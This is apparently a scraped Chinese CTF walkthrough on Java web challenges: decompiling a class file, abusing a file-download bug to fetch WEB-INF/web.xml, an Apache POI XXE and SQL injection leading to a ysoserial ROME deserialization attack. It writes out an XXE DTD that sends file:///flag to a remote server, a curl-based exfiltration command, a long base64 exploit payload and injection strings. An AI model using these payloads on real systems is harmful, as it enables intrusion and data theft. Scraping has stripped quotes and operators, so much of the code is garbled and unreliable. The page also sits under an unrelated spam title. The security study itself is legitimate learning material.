当前位置: 首页 > news >正文

投资建设集团网站万网云虚拟主机上传网站吗

投资建设集团网站,万网云虚拟主机上传网站吗,对于网站建设的体会,广州软件开发工资数据来源 图片来源 Java 常考点及出题思路 考点技术#xff1a;xxe#xff0c;spel 表达式#xff0c;反序列化#xff0c;文件安全#xff0c;最新框架插件漏洞等 设法间接给出源码或相关配置提示文件#xff0c;间接性源码或直接源码体现等形式 https://www.cnblog…数据来源 图片来源  Java 常考点及出题思路 考点技术xxespel 表达式反序列化文件安全最新框架插件漏洞等 设法间接给出源码或相关配置提示文件间接性源码或直接源码体现等形式 https://www.cnblogs.com/xishaonian/p/7628153.html 00x1 .ng 源码泄露00x2 git 源码泄露00x3 .DS_Store 文件泄漏00x4 网站备份压缩文件00x5 SVN 导致文件泄露00x6 WEB-INF/web.xml 泄露00x7 CVS 泄漏 Java 必备知识点 反编译基础的 Java 代码认知及审计能力熟悉相关最新的漏洞常见漏洞等 演示案例 案例1 - Java 简单逆向解密-Reverse-buuoj-逆向源码 Java 简单逆向解密-Reverse-buuoj-逆向源码算法 靶场地址https://buuoj.cn/challenges#Java逆向解密 知识点Java 项目格式解析加解密脚本等 下载提示文件 - class 反编译 java 文件-加密算法-解密脚本 要打开class文件需要下载java的编译器下载免费版的就好   IntelliJ IDEA下载安装教程图解 软件汉化IntelliJ IDEA中文汉化教程_idea汉化教程_xiaobai763129479的博客-CSDN博客 文件源代码  // Source code recreated from a .class file by IntelliJ IDEA IntelliJ IDEA从.class文件重新创建的源代码// (powered by FernFlower decompiler) 由FernFlow反编译器提供支持import java.util.ArrayList; // 引入 ArrayList 类ArrayList 类是一个可以动态修改的数组与普通数组的区别就是它是没有固定大小的限制我们可以添加或删除元素。 import java.util.Scanner; // java.util.Scanner 是 Java5 的新特征我们可以通过 Scanner 类来获取用户的输入。public class Reverse { // public 修饰符-公有的public Reverse() {}// “主函数”、“Java应用程序的入口public static void main(String[] args) { // static 表示静态的、void 表表示函数没有返回值或返回值为void(空) Scanner s new Scanner(System.in); // 创建 Scanner 对象的基本语法System.out.println(Please input the flag ); // System.out.println() 打印字符// String 类来创建和操作字符串String str s.next(); // next()是Scanner对象提供的方法作用是获取用户输入的字符串System.out.println(Your input is ); // Your input is -您的输入是System.out.println(str); // 打印用户的输入char[] stringArr str.toCharArray(); // toCharArray() 方法将字符串转换为字符数组。Encrypt(stringArr); // 调用Encrypt()函数作用是加密字符}public static void Encrypt(char[] arr) {ArrayListInteger Resultlist new ArrayList(); // 这里使用ArrayList对象创建一个空的数组、 Integer的作用就是将字符串转化为整型for(int i 0; i arr.length; i) { // length 返回元素的长度int result arr[i] 64 ^ 32; // 将用户输入的字符原始key先加64再异或32得到加密后的key如果我们要解密的时候就要先异或32再减去64就能获取到原来的keyResultlist.add(result); // add() 方法将元素插入数组}int[] KEY new int[]{180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};ArrayListInteger KEYList new ArrayList();for(int j 0; j KEY.length; j) {KEYList.add(KEY[j]);}System.out.println(Result:);if (Resultlist.equals(KEYList)) { // equals() 方法用于判断 Number 对象与方法的参数进是否相等。System.out.println(Congratulations); // 成功} else {System.err.println(Error); // 失败}} }java异或运算_文子先森的博客-CSDN博客 这里写个pyhton脚本进行解密  a [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65] # 从源码复制过来的 b for i in a:# 例如chr(97) 返回字符串 a就是将ASCII 码转为对应的字符bchr((i^32)-64) # 源码的加密语句先加64加异或32我们这里要解密就刚好和他相反就可以了 int result arr[i] 64 ^ 32;print(fASCII码{(i^32)-64},对应的字符为{chr((i^32)-64) }) print(f最终的转换结果{b}) 案例2 - RoarCTF-2019-easy_java-buuoj-配置到源码 RoarCTF-2019-easy_java-配置到源码 靶场地址https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java 知识点下载漏洞利用配置文件解析Javaweb 项目结构等 提示下载漏洞-更换请求方法-获取源码配置文件-指向 Flag-下载 class-反编译  漏洞检测以及利用方法通过找到 web.xml 文件推断 class 文件的路径最后直接 class 文件在 通过反编译 class 文件得到网站源码 1打开靶机 这里存在文件下载漏洞 2尝试下载/WEB-INF/web.xml文件 WEB-INF 主要包含一下文件或目录 /WEB-INF/web.xmlWeb 应用程序配置文件描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/含了站点所有用的 class 文件包括 servlet class 和非 servlet class他们不能包 含在 .jar 文件中 /WEB-INF/lib/存放 web 应用需要的各种 JAR 文件放置仅在这个应用中要求使用的 jar 文件如数 据库驱动 jar 文件 /WEB-INF/src/源码目录按照包名结构放置各个 java 文件。 /WEB-INF/database.properties数据库配置文件 一般情况jsp引擎默认都是禁止访问WEB-INF目录的Nginx 配合Tomcat做均衡负载或集群等情况时问题原因其实很简单Nginx不会去考虑配置其他类型引擎Nginx不是jsp引擎导致的安全问题而引入到自身的安全规范中来这样耦合性太高了。 3我这里使用Burpsuite抓包改成post请求 4打开下载的文件 分析文件内容 /WEB-INF/web.xml  ?xml version1.0 encodingUTF-8?-web-app version4.0 xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlnshttp://xmlns.jcp.org/xml/ns/javaee-welcome-file-listwelcome-fileIndex/welcome-file/welcome-file-list-servletservlet-nameIndexController/servlet-nameservlet-classcom.wm.ctf.IndexController/servlet-class/servlet-servlet-mappingservlet-nameIndexController/servlet-nameurl-pattern/Index/url-pattern/servlet-mapping-servletservlet-nameLoginController/servlet-nameservlet-classcom.wm.ctf.LoginController/servlet-class/servletservlet-mapping-servletservlet-nameDownloadController/servlet-nameservlet-classcom.wm.ctf.DownloadController/servlet-class/servlet-servlet-mappingservlet-nameDownloadController/servlet-nameurl-pattern/Download/url-pattern/servlet-mapping-servletservlet-nameFlagController/servlet-nameservlet-classcom.wm.ctf.FlagController/servlet-class/servlet-servlet-mappingservlet-nameFlagController/servlet-nameurl-pattern/Flag/url-pattern/servlet-mapping/web-app 文件内容解析  因为所有的java项目上线之后都会打包文件原来的文件名可能是a.java打包后就是a.class我们现在访问的靶机就是打包上线后的java项目不然我们也访问不了。 也就是说我们现在要访问IndexController文件打包后的文件名就是IndexController.class经过上面的分析发现IndexController的文件路径是这个com/wm/ctf/IndexController要访问文件时我们要把“.”换成“/”不然服务器不认识 而/WEB-INF/classes/含了站点所有用的 class 文件包括 servlet class 和非 servlet class他们不能包 含在 .jar 文件中这文件路径是固定java项目都是这个路径所以把上面的信息总结一下我们要访问IndexController.class文件的路径是com/wm/ctf/IndexController.class然后所有的class文件都包含在/WEB-INF/classes/路径下最终的文件下载路径就是/WEB-INF/classes/com/wm/ctf/IndexController.class 5下载IndexController.class文件 这里的下载方法跟之前一样先拦截请求 - 抓包 -改请求方式为post - 放包并取消请求拦截-查看浏览器就能看到下载成功的文件 下载路径/WEB-INF/classes/com/wm/ctf/IndexController.class 成功拿到源码但是很明显这里文件的内容没有我们需要的flag继续查看/WEB-INF/web.xml文件内容找其他文件的下载目录思路是一样的 需要注意的是class文件要向案例1一样使用java的编译工具打开不然是乱码  6下载FlagController文件 文件下载路径/WEB-INF/classes/com/wm/ctf/FlagController.class flag ZmxhZ3s1ZjEwMTAwNC1jNTAzLTQ3OGMtOGMxMS0xMWUxMmM4MGUzMzh9Cgbase64 解码后的字符 flag{5f101004-c503-478c-8c11-11e12c80e338}我这里使用小葵解密 下载链接 也可以在网上搜索在线工具进行解密随便一搜有很多 BASE64加密解密 在线Base64编码解码工具_蛙蛙工具 案例3 - 网鼎杯 2020-青龙组-filejava-ctfhub-配置到源码 网鼎杯 2020-青龙组-filejava-ctfhub-配置到源码 一篇文章读懂Java代码审计之XXE Apache POI XML外部实体XML External EntityXXE攻击详解 JAVA常见的XXE漏洞写法和防御 | Spoock Java XXE漏洞典型场景分析 靶场地址https://www.ctfhub.com/#/challenge 搜索FileJava 靶场打开后的的提示说文件上传系统挂到了服务器上但过了段时间收到了漏洞报警 。这就说明这里文件上传是有漏洞的所以我们就可以重点关注文件上传相关的东西 1靶机打开后就是一个文件上传的页面那我们就上传个文件抓包看看 2尝试下载/WEB-INF/web.xml文件这个文件的作用前面讲了Web 应用程序配置文件描述了 servlet 和其他的应用组件配置及命名规则。 分析WEB-INF/web.xml文件 思路跟之前的一样 3尝试下载UploadServlet.class文件 java项目打包之后才能上线打包后的文件名后缀就是classclass文件都包含在/WEB-INF/classes/这里要访问WEB-INF文件经过前面的测试要在前面加4个../  下载文件路径../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class 注意我现在要下载的是class文件之前说了要打开class文件要使用java的编译器进行反编译所以我们这里就不能直接在抓包软件内查看了要下载下来在编译中中打开。 实现来一波偷天换日 1、先开启请求拦截 2、会到浏览器点击文件下载  3、改包下载UploadServlet.class  开启靶机继续  4分析文件内容 文件内容 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) //package cn.abc.servlet;import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.Iterator; import java.util.List; import java.util.UUID; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.ss.usermodel.WorkbookFactory;public class UploadServlet extends HttpServlet {private static final long serialVersionUID 1L;public UploadServlet() {}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String savePath this.getServletContext().getRealPath(/WEB-INF/upload);String tempPath this.getServletContext().getRealPath(/WEB-INF/temp);File tempFile new File(tempPath);if (!tempFile.exists()) {tempFile.mkdir();}String message ;try {DiskFileItemFactory factory new DiskFileItemFactory();factory.setSizeThreshold(102400);factory.setRepository(tempFile);ServletFileUpload upload new ServletFileUpload(factory);upload.setHeaderEncoding(UTF-8);upload.setFileSizeMax(1048576L);upload.setSizeMax(10485760L);if (!ServletFileUpload.isMultipartContent(request)) {return;}ListFileItem list upload.parseRequest(request);Iterator var10 list.iterator();label56:while(true) {while(true) {if (!var10.hasNext()) {break label56;}FileItem fileItem (FileItem)var10.next();String filename;String fileExtName;if (fileItem.isFormField()) {filename fileItem.getFieldName();fileExtName fileItem.getString(UTF-8);} else {filename fileItem.getName();if (filename ! null !filename.trim().equals()) {fileExtName filename.substring(filename.lastIndexOf(.) 1);InputStream in fileItem.getInputStream();if (filename.startsWith(excel-) xlsx.equals(fileExtName)) {try {Workbook wb1 WorkbookFactory.create(in);Sheet sheet wb1.getSheetAt(0);System.out.println(sheet.getFirstRowNum());} catch (InvalidFormatException var20) {System.err.println(poi-ooxml-3.10 has something wrong);var20.printStackTrace();}}String saveFilename this.makeFileName(filename);request.setAttribute(saveFilename, saveFilename);request.setAttribute(filename, filename);String realSavePath this.makePath(saveFilename, savePath);FileOutputStream out new FileOutputStream(realSavePath / saveFilename);byte[] buffer new byte[1024];int len false;int len;while((len in.read(buffer)) 0) {out.write(buffer, 0, len);}in.close();out.close();message 文件上传成功!;}}}}} catch (FileUploadException var21) {var21.printStackTrace();}request.setAttribute(message, message);request.getRequestDispatcher(/ListFileServlet).forward(request, response);}private String makeFileName(String filename) {return UUID.randomUUID().toString() _ filename;}private String makePath(String filename, String savePath) {int hashCode filename.hashCode();int dir1 hashCode 15;int dir2 (hashCode 240) 4;String dir savePath / dir1 / dir2;File file new File(dir);if (!file.exists()) {file.mkdirs();}return dir;} }Apache POI XML外部实体XML External EntityXXE攻击详解 - 简书 漏洞介绍与利用 1. 漏洞编号 CVE-2014-3529 Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。 2. 影响范围 poi-ooxml-3.10-FINAL.jar及以下版本 3. 利用文件 [Content-Types].xml 4. 漏洞利用 1先创建一个excel-xxxx.xlsx文件文件名前面的excel-不要改可以在-后面加字符不加也行源码做了判断 startsWith() 方法用于检测字符串是否以指定的前缀开始。 然后将文件后缀名改成.zip  2使用文本编辑器打开[Content-Types].xml注入外部实体在第二行插入实体构造上传文件  这里如果你们的压缩软件没法预览就不要跟着我图片走了先新建一个excel-1.xlsx文件再改后缀为zip解压缩对文件夹里面的[Content_Types].xml进行修改修改完后再压缩成zip改后缀为xlsx参考 !DOCTYPE convert [ !ENTITY % remote SYSTEM http://远程服务器IP:3333/XXE/xxx.dtd %remote;%int;%send;] rootsend;/root 将修改后的压缩包重新修改后缀为.xlsx文件 3在服务器与自己电脑安装nc 首先你要有自己的服务器我之前买的腾讯云的新人优惠第一年68/年之后是原价 购买与配置教程将 node mysql vue 部署到服务器_node部署服务器以及部署数据库_正经人_____的博客-CSDN博 然后需要给服务器安装nc参考 # 下载nc的压缩包 wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz # 解压 tar zxvf netcat-0.7.1.tar.gz # 切换目录 cd netcat-0.7.1 # 运行一些必要的东西 ./configure make make install 最后服务器终端输入等到最后服务器创建网站时一条命令就会报错了这里先用来测试 # -l 监听模式 -p 开启监听端口 ,这里监听3333端口服务器要开放这个端口才行 nc -l -p 3333 我这里是Xshell里面的破解包是公用的连接服务端终端进行操作 客户端、自己电脑也可以下载部署ncwindows安装我以前写过这里就不多说了这个可以跳过 最最后自己电脑输入 # 接收服务端3333端口收到的消息 nc 服务端ip 3333 先测试有没有链接成功在服务端随便输入点东西然后查看自己电脑有没有接收到 4部署一下服务器的网站 1、首先进入远程服务器WEB根目录我是进入了/www/wwwroot/Network_ securityNetwork_ security文件是我自己创建的翻译过来就是网络安全 可以改 创建方法 2、然后要配置下网站站点就是让别可以通过我的服务器ip端口文件  访问我服务器的文件 3、修改访问的端口为3333 然后就可以使用远程服务器ip:3333 端口进行访问了 不过你打开的端口是这样的这网页是自动创建的可以设置默认打开目录  然后我查看我的服务器文件发现服务器自动给我创建一个相同的文件Network_security 建议把所有者是root的这个文件删除掉不然容易混淆 然后在所有者是www的Network_security文件夹下创建一个1.txt随便在里面写的东西测试能不能访问 访问地址服务器ip:3333/1.txt    5构造远程监控 创建一个XXE文件夹在里面创建文件xxx.dtd添加内容这里要在服务再开个端口3331 !ENTITY % file SYSTEM file:///flag !ENTITY % int !ENTITY #37; send SYSTEM http://远程服务器ip:3331/%file; 在服务端的终端输入(在Xshell输入)nc -lvvp 3331            # 监听3331端口 这里我总结一下思路一开始我们创建了excel-xxxx.xlsx文件上传到靶机后靶机会读取这个文件的内容那样就会访问我们服务端的xxx.dtd文件该文件就会读取靶机的flag信息然后发送给3331端口这个端口被我们监听了所以最后我们在终端就能拿到靶机返回的flag 一切准备就绪上传excel-xxxx.xlsx文件 查看靶机返回的flag  最后解题成功消耗了我400金币这靶场死要钱 案例4 - 网鼎杯 2020-朱雀组-Web-think_java-直接源码审计 网鼎杯 2020-朱雀组-Web-think_java-直接源码审计 靶场地址https://www.ctfhub.com    搜索think_java 0x01 下载源码后进行代码审计 根据提示附件进行 javaweb 代码审计发现可能存在注入漏洞 另外有 swagger 开发接口测试注入漏洞及访问接口进行调用测试 数据库名myapp,列名 name,pwd SqlDict.class // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) //package cn.abc.core.sqldict;import java.sql.Connection; import java.sql.DatabaseMetaData; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.ArrayList; import java.util.List;public class SqlDict {public SqlDict() {}public static Connection getConnection(String dbName, String user, String pass) {Connection conn null;try {Class.forName(com.mysql.jdbc.Driver);if (dbName ! null !dbName.equals()) {dbName jdbc:mysql://mysqldbserver:3306/ dbName;} else {dbName jdbc:mysql://mysqldbserver:3306/myapp;}if (user null || dbName.equals()) {user root;}if (pass null || dbName.equals()) {pass abc12345;}conn DriverManager.getConnection(dbName, user, pass);} catch (ClassNotFoundException var5) {var5.printStackTrace();} catch (SQLException var6) {var6.printStackTrace();}return conn;}public static ListTable getTableData(String dbName, String user, String pass) {ListTable Tables new ArrayList();Connection conn getConnection(dbName, user, pass);String TableName ;try {Statement stmt conn.createStatement();DatabaseMetaData metaData conn.getMetaData();ResultSet tableNames metaData.getTables((String)null, (String)null, (String)null, new String[]{TABLE});while(tableNames.next()) {TableName tableNames.getString(3);Table table new Table();String sql Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema dbName and table_name TableName ;;ResultSet rs stmt.executeQuery(sql);while(rs.next()) {table.setTableDescribe(rs.getString(TABLE_COMMENT));}table.setTableName(TableName);ResultSet data metaData.getColumns(conn.getCatalog(), (String)null, TableName, );ResultSet rs2 metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);String PK;for(PK ; rs2.next(); PK rs2.getString(4)) {}while(data.next()) {Row row new Row(data.getString(COLUMN_NAME), data.getString(TYPE_NAME), data.getString(COLUMN_DEF), data.getString(NULLABLE).equals(1) ? YES : NO, data.getString(IS_AUTOINCREMENT), data.getString(REMARKS), data.getString(COLUMN_NAME).equals(PK) ? true : null, data.getString(COLUMN_SIZE));table.list.add(row);}Tables.add(table);}} catch (SQLException var16) {var16.printStackTrace();}return Tables;} }sql语句没有预编译这个sql语句的dbName参数是可控的在这个地方我们可以传入一个联合查询语句进去查询我们需要的东西 Test.class  // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) //package cn.abc.core.controller;import cn.abc.common.bean.ResponseCode; import cn.abc.common.bean.ResponseResult; import cn.abc.common.security.annotation.Access; import cn.abc.core.sqldict.SqlDict; import cn.abc.core.sqldict.Table; import io.swagger.annotations.ApiOperation; import java.io.IOException; import java.util.List; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController;CrossOrigin RestController RequestMapping({/common/test}) public class Test {public Test() {}PostMapping({/sqlDict})AccessApiOperation(为了开发方便对应数据库字典查询)public ResponseResult sqlDict(String dbName) throws IOException {ListTable tables SqlDict.getTableData(dbName, root, abc12345);return ResponseResult.e(ResponseCode.OK, tables);} }0x02 注入判断获取管理员帐号密码 访问/common/test/sqlDict     # 测试sql注入获取账号密码  抓包软件开启后直接访问/common/test/sqlDict     - 然后查看抓包情况 构造请求 获取用户名 # 单引号是为了跟原来的sql语句闭合 (源码的就是单引号) # 最后的# 是为了注释掉后后面的语句防止影响到sql语句的执行 dbNamemyapp?a union select (select name from user)#用户名ctfhub 获取密码 dbNamemyapp?a union select (select pwd from user)# 密码ctfhub_24854_5651 name、pwd 都是猜测的如果是实战情况下要先获取表名载获取列名然后再获取对应列的信息 0x03 接口测试 得到数据库的用户名和账户之后但是没有地方登陆和上传查看源代码发现swagger模块 我们也使用靶机的url访问/swagger-ui.html   看看 直接登录看看 登录参数 {password:ctfhub_xxx, username: ctfhub} 登录返回  {data: Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg,msg: 登录成功,status: 2,timestamps: 1680011527946 } 0x04 回显数据分析攻击思路 JAVAWEB 特征可以作为序列化的标志参考: 一段数据以 rO0AB 开头你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。 或者如果以 aced 开头那么他就是这一段 java 序列化的 16 进制。 先利用 py2 脚本解密 base64 数据用python3运行报错 python java_bs64.py import base64 arO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg b base64.b64decode(a).encode(hex) print(b) 解密的字符有变成了以 aced 开头的字符这就是这一段 java 序列化的 16 进制 aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000000000001740006637466687562 再利用 SerializationDumper 解析数据-还原数据 下载GitHub - NickstaDB/SerializationDumper: A tool to dump Java serialization streams in a more human readable form. java -jar SerializationDumper-v1.13.jar base64后的数据 解密后数据中包含帐号等信息  0x05 生成反序列化 payload-序列化后进行 base64 解密 解密后数据中包含帐号等信息但是通过接口/common/user/current   请求时发现我们将身份认证Token直接传进去没有经过解密他也能返回我们的身份信息 但是在这个接口上我们传进去的是没有解密的他还是能解读我们的身份信息这就说明了服务器在后台有做了反序列化可能存在反序列化漏洞 思路 将恶意代码进行序列化后进行后续操作将恶意代码当成Token传进去进行攻击 我们刚才对Token解密的操作是先JAVA 序列化 base64解密然后再 java 序列化的 16 进制解密 我们现在也是要构造这个格式的字符传入进去进行攻击所以我们要先 java 序列化的 16 进制加密再JAVA 序列化 base64加密 利用 ysoserial 进行序列化生成 下载GitHub # 就是生成一个xiaodi.bin文件去获取flag获取根目录下的flag文件文件这个是题目的提示flag文件在根目录下载 在项目开发中默认都是代表str目录也就是根目录  java -jar ysoserial-master-2874a69f61-1.jar ROME curl http://远程服务器ip:监听端口 -d /flag  xiaodi.bin    # 注意如果现在你用上面这个命令去生成字符进行攻击你自己服务器监听的端口是不会收到消息的 # 因为flag虽然是在根目录下我们写的命令也没有错但是靶机还有一句提示“flag文件名随机”所以找不到flag这个文件就会报错服务端就收不到消息这里我们先改成linux系统都会有的文件夹/etc/passwd 测试服务端能不能正常的接收靶机传回的消息在进行下一步找flag文件的名称将命令改成下面这个 java -jar ysoserial-master-2874a69f61-1.jar ROME curl http://远程服务器ip:监听端口 -d /etc/passwd  xiaodi.bin  python2 java.py   将反序列化数据进行base64编码/加密 import base64file open(xiaodi.bin,rb)now file.read() ba base64.b64encode(now)print(ba)file.close() 加密后的字符 使用的时候要在前面加上Bearer   # 才是完整的Token  rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQBAAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAa/yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8AQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQAQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKWN1cmwgaHR0cDovLzE3NS4xNzguNDQuNzIvOjMzMzEgLWQgQC9mbGFnCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNTUyMjQwMzI0NTU3MTk5AQAgTHlzb3NlcmlhbC9Qd25lcjU1MjI0MDMyNDU1NzE5OTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAAnAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQBABcAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3B